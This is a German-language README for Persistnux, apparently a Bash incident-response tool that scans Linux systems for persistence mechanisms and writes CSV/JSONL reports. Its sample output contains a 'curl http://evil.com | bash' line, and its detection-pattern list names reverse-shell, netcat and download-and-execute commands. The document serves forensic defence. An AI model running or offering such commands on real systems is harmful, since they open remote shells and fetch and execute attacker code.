
Bash-basiertes Linux-Persistenzerkennungstool für DFIR-Untersuchungen. Scannt 15+ Persistenzmechanismen (systemd, cron, Kernel-Module, SSH, Container) mit Konfidenz-Bewertung und erstellt CSV-/JSONL-Berichte für die forensische Analyse.
Ein umfassendes Tool zur Erkennung von Linux-Persistenzmechanismen für Digital Forensics und Incident Response (DFIR)-Untersuchungen.
Persistnux ist ein Bash-basiertes Tool, das darauf ausgelegt ist, bekannte Linux-Persistenzmechanismen zu identifizieren, die von Angreifern genutzt werden, um den Zugriff auf kompromittierte Systeme aufrechtzuerhalten. Es führt umfassende Prüfungen im gesamten System durch und erstellt detaillierte Berichte im CSV- und JSONL-Format für die weitere Analyse.
.service) in /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow und /etc/cron.deny ACL-Dateien – Einträge, die auf nicht existierende Benutzer verweisen, werden markiert/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile usw.)/etc/rc.local und Varianten/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) – jede aufgeführte Bibliothek wird über den Paketmanager verifiziert/etc/ld.so.conf, /etc/ld.so.conf.d/) – Konfigurationsdateiintegrität + nicht standardmäßige Pfad-.so-Dateien werden gescannt und verifiziert/etc/environment LD_PRELOAD/LD_LIBRARY_PATH – Umgebungsdatei wird als HOCH markiert; referenzierte Bibliothekspfade werden verifiziert (unverwaltet/modifiziert → KRITISCH)/etc/modprobe.d/, /etc/modprobe.conf) – Dateiintegrität; install-Direktiven werden auf verdächtige Befehlsziele analysiert; blacklist von Sicherheitsmodulen (AppArmor, SELinux, seccomp) wird als HOCH markiert/etc/modules, /etc/modules-load.d/) – Konfigurationsintegrität; referenzierte Modulnamen werden über modinfo zu -Dateien aufgelöst und verifiziert.config/autostart, /etc/xdg/autostart) – alle Benutzerverzeichnisse werden im Root-Modus gescannt/etc/environment) – LD_PRELOAD/LD_LIBRARY_PATH-Bibliothekspfade werden verifiziert/etc/sudoers, /etc/sudoers.d/) – NOPASSWD/ALL-Muster → HOCH.so-Module werden über den Paketmanager verifiziert; @include-Direktiven werden verfolgt; /etc/pam.conf wird einbezogenpam_exec.so-Skriptanalyse – fehlende/verdächtige Skripte → KRITISCHpam_python.so / pam_perl.so-Relay-Erkennung – Skript wird extrahiert und analysiertpam_script.so-Hook-Dateierkennung in ~/.ssh/authorized_keys – kürzlich geänderte Schlüssel werden markiert; Inhalt der command=-Option auf verdächtige Muster analysiert~/.ssh/rc – Vorhandensein wird als MITTEL markiert; verdächtiger/Reverse-Shell-Inhalt → HOCH/KRITISCHdpkg -V auf Debian/Ubuntu, rpm -Va auf RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → KRITISCHER Fund/lib/security → KRITISCHER Fundinit= Kernel-Parameter-Injection (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot-Hooks, die in /sysroot/etc/shadow schreiben/etc/initramfs-tools/scripts/ und /hooks//boot/initrd.img-*-Images (mtime-basiert).pkla-Dateien mit bedingungslosen ResultAny/ResultInactive/ResultActive=yesunix-user:*)-Gewährungen.rules-Dateien mit bedingungslosem polkit.Result.YES (JavaScript-basiertes Polkit >= 0.106)Exec=-Registrierung (/usr/share/dbus-1/system-services/)allow own="*" oder send_destination="*"-Direktiven/etc/NetworkManager/dispatcher.d/)RUN+=-Direktiven, die beliebige Befehle oder Skripte ausführen (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron-Delegierungsmuster in RUN+= (häufige Umgehung von Vordergrundbeschränkungen)--privileged, --pid=host)docker.sock-Bind-Mounts in Container (vollständige Host-Kontrolle über Docker-API)nsenter -t 1 in Container-Entrypoints oder Dockerfilesgetcap – cap_setuid+ep auf GTFOBins → KRITISCH.original, .old, .bak, .real) mit Wrapper-Skripten/etc/passwd/etc/passwdauthorized_keys-Dateien# Repository klonen
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Skript ausführbar machen
chmod +x persistnux.sh
# Mit Standardeinstellungen ausführen (zeigt nur verdächtige Funde)
sudo ./persistnux.sh
# Hilfe und alle Optionen anzeigen
./persistnux.sh --help
# Als normaler Benutzer ausführen (eingeschränkter Umfang)
./persistnux.sh
Standardmäßig zeigt Persistnux nur verdächtige Funde (MITTEL, HOCH, KRITISCH-Konfidenz) an, um Rauschen zu reduzieren und sich auf umsetzbare Bedrohungen zu konzentrieren.
# Standard: Nur verdächtige Funde anzeigen
sudo ./persistnux.sh
# Alle Funde einschließlich Baseline (NIEDRIG-Konfidenz) anzeigen
sudo ./persistnux.sh --all
# ODER
sudo FILTER_MODE=all ./persistnux.sh
# Nur Funde mit HOHEM und KRITISCHEM Konfidenzlevel anzeigen
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Filter kombinieren: Nur HOHE Konfidenz
sudo ./persistnux.sh --min-confidence HIGH
# Benutzerdefiniertes Ausgabeverzeichnis angeben
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Mit Filterung kombinieren
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Standardmäßig erstellt Persistnux ein Ausgabeverzeichnis ./persistnux_output/, das Folgendes enthält:
persistnux_<hostname>_<timestamp>.csv – Bericht im CSV-Formatpersistnux_<hostname>_<timestamp>.jsonl – Bericht im JSONL-Format (ein JSON-Objekt pro Zeile)persistnux_<hostname>_<timestamp>_report.txt – Menschenlesbarer Zusammenfassungsbericht mit Fundanzahlen und Scan-Metadatentimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux verwendet eine intelligente Konfidenzbewertung, um False Positives zu reduzieren:
Persistnux enthält jetzt mehrere Funktionen zur False-Positive-Reduzierung:
dpkg (Debian/Ubuntu) oder rpm (RedHat/CentOS) verwaltet werden, erhalten niedrigere KonfidenzwertePersistnux markiert Elemente automatisch mit höherer Konfidenz, wenn es Folgendes erkennt:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (für bestimmte Prüfungen)python/jq erforderlich)Hinweis: Das Tool wird hauptsächlich auf Ubuntu/Debian-Systemen getestet. Bei RedHat, Fedora und RPM-basierten Distributionen ist die Paketmanager-Unterstützung im Code implementiert, wurde aber in Live-Testumgebungen nicht validiert. Beiträge und Testergebnisse für RPM-basierte Distributionen sind willkommen.
Persistnux wird gegen PANIX gebenchmarkt,
das dieselben Persistenzmechanismen installiert, die Persistnux jagt. Der
wiederholbare Testrahmen unter tests/panix_benchmark.sh wendet jede
PANIX-Technik an, führt Persistnux aus und bestätigt die Erkennung über einen Basislinien-Diff.
Jede dateibasierte PANIX-Technik, die auf dem Testsystem anwendbar ist, wird mit
MITTEL+ Konfidenz erkannt. Siehe PANIX_BENCHMARK.md für die vollständige
Abdeckungstabelle und Methodik.
⚠️ Der Benchmark installiert echte Hintertüren – nur in einer Einweg-VM ausführen.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Beiträge sind willkommen! Bitte reichen Sie Pull-Requests ein oder eröffnen Sie Issues für:
MIT-Lizenz – Siehe LICENSE-Datei für Details
Entwickelt für die DFIR-Community zur Unterstützung bei der Linux-Vorfallreaktion und forensischen Untersuchungen.
Dieses Tool ist nur für autorisierte Sicherheitstests, Incident Response und forensische Analysen bestimmt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie die entsprechende Autorisierung haben, bevor sie dieses Tool auf einem System ausführen.
Bei Fragen, Problemen oder Beiträgen nutzen Sie bitte den GitHub Issue-Tracker.
.kolsmod) – Aufzählung und Integritätsprüfung/etc/security/pam_env.conf und ~/.pam_environment LD_PRELOAD-Bibliotheksverifizierung/etc/security/ allgemeiner Scan/etc/update-motd.d/) – Paketüberprüfung; modifiziert → KRITISCH| Distribution | Status | Hinweise |
|---|
| Ubuntu 22.04 LTS | ✅ Getestet | Primäre Entwicklungs- und Testplattform |
| Ubuntu 20.04 LTS | ✅ Getestet | Vollständig unterstützt |
| Debian 11/12 | ✅ Getestet | dpkg-basiert, gleiche Pfadkonventionen |
| Kali Linux (rolling) | ✅ Getestet | Für den PANIX-Erkennungsbenchmark verwendet (siehe unten) |
| RedHat / RHEL | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| Fedora | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |
| CentOS / AlmaLinux / Rocky | ⚠️ Noch nicht getestet | rpm-Unterstützung implementiert, aber auf Live-Systemen unbestätigt |